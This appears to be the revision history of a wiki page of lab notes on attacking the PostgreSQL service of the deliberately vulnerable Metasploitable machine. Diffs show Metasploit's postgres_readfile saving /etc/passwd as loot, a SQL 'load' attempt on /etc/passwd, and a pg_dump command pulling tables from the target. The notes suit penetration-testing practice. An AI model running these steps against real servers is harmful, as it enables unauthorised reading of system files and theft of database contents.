Metasploitable/Postgres - Revision history

Admin: /* postgres_readfile */

2016-04-03T05:08:35Z

postgres_readfile

@@ Line 534: / Line 534: @@
      www-data:x:33:33:www-data:/var/www:/bin/sh
 [*] 10.0.0.27:5432 Postgres - /etc/passwd saved in /root/.msf5/loot/20160325044605_default_10.0.0.27_postgres.file_552946.txt
 [+] 10.0.0.27:5432 Postgres - Command complete.

2016-04-03T04:35:43Z

Dumping

@@ Line 577: / Line 577: @@
 msf auxiliary(postgres_readfile) >
 </pre>
 =Dumping=

2016-03-25T16:04:50Z

2016-03-25T16:03:24Z

← Older revision	Revision as of 16:03, 25 March 2016
(No difference)

2016-03-25T12:27:15Z

Obtaining /etc/passwd with postgres

2016-03-25T11:42:44Z

postgres_sql

← Older revision		Revision as of 11:42, 25 March 2016
Line 411:		Line 411:
	</pre>		</pre>

			===Obtaining /etc/passwd with postgres===

			With MySQL, we were able to obtain files on the remote machine using the SQL statement <code>select load_file(\'/etc/passwd\')</code>. However, the <code>load_file</code> function isn't available in postgres.

			Postgres implements it as <code>load</code>:

			<pre>
			msf auxiliary(postgres_sql) > set SQL load \'/etc/passwd\'
			SQL => load '/etc/passwd'
			</pre>

			This has a problem, though: invalid elf header. (Like it is trying to load a binary file...?)

			<pre>
			msf auxiliary(postgres_sql) > run

			[-] 10.0.0.27:5432 Postgres - CXX000 SQL statement 'load '/etc/passwd'' returns #<RuntimeError: ERROR CXX000 Mcould not load library "/etc/passwd": /etc/passwd: invalid ELF header Fdfmgr.c L240 Rinternal_load_library>
			[*] Auxiliary module execution completed
			msf auxiliary(postgres_sql) >
			</pre>

	=Dumping=		=Dumping=

2016-03-25T11:34:05Z

Dumping

← Older revision		Revision as of 11:34, 25 March 2016
Line 422:		Line 422:
	* table (you can use wildcards to match table names)		* table (you can use wildcards to match table names)
	* a file to capture all the output		* a file to capture all the output

			<pre>
			root@morpheus:~# pg_dump --host=10.0.0.27 --username=postgres --password --dbname=postgres --table='sometable' -f output_pgdump
			</pre>

	Like mysqldump, pg_dump will output the SQL commands required to exactly replicate the database and tables selected.		Like mysqldump, pg_dump will output the SQL commands required to exactly replicate the database and tables selected.
Line 428:		Line 432:

	While this represents a huge attack surface that would make malicious code difficult to find, this postgresql database does not appear to be used for anything. The port is open and the server is listening, but there is no purpose. (Other than to provide Metasploitable spelunkers another route into the machine.)		While this represents a huge attack surface that would make malicious code difficult to find, this postgresql database does not appear to be used for anything. The port is open and the server is listening, but there is no purpose. (Other than to provide Metasploitable spelunkers another route into the machine.)

			That means that <code>--table='*'</code> will dump out a lot of superfluous stuff.

	=Related=		=Related=

	{{KaliFlag}}		{{KaliFlag}}

2016-03-25T11:31:56Z

Dumping

← Older revision		Revision as of 11:31, 25 March 2016
Line 420:		Line 420:
	* password (does not accept password typed as an argument on command line, apparently?)		* password (does not accept password typed as an argument on command line, apparently?)
	* database (one of the three above, postgres, template0, or template1)		* database (one of the three above, postgres, template0, or template1)
	* table (you can use wildcards to match table names~~, so use <code>'*'</code> to dump all tables~~)		* table (you can use wildcards to match table names)
	* a file to capture all the output		* a file to capture all the output

	Like mysqldump, pg_dump will output the SQL commands required to exactly replicate the database and tables selected.		Like mysqldump, pg_dump will output the SQL commands required to exactly replicate the database and tables selected.

			However, unlike mysqldump, postgres implements an additional layer, implemented within SQL itself, that enables a lot of additional functionality. This implements all sorts of different databases and tables for postgresql user management and function definitions.

			While this represents a huge attack surface that would make malicious code difficult to find, this postgresql database does not appear to be used for anything. The port is open and the server is listening, but there is no purpose. (Other than to provide Metasploitable spelunkers another route into the machine.)

	=Related=		=Related=

	{{KaliFlag}}		{{KaliFlag}}

2016-03-25T11:25:03Z

Admin

@@ Line 410: / Line 410: @@
 msf auxiliary(postgres_sql) >
 </pre>
 =Related=
 {{KaliFlag}}

2016-03-25T11:14:02Z

Scanner

@@ Line 326: / Line 326: @@
 -->
 =Related=
 {{KaliFlag}}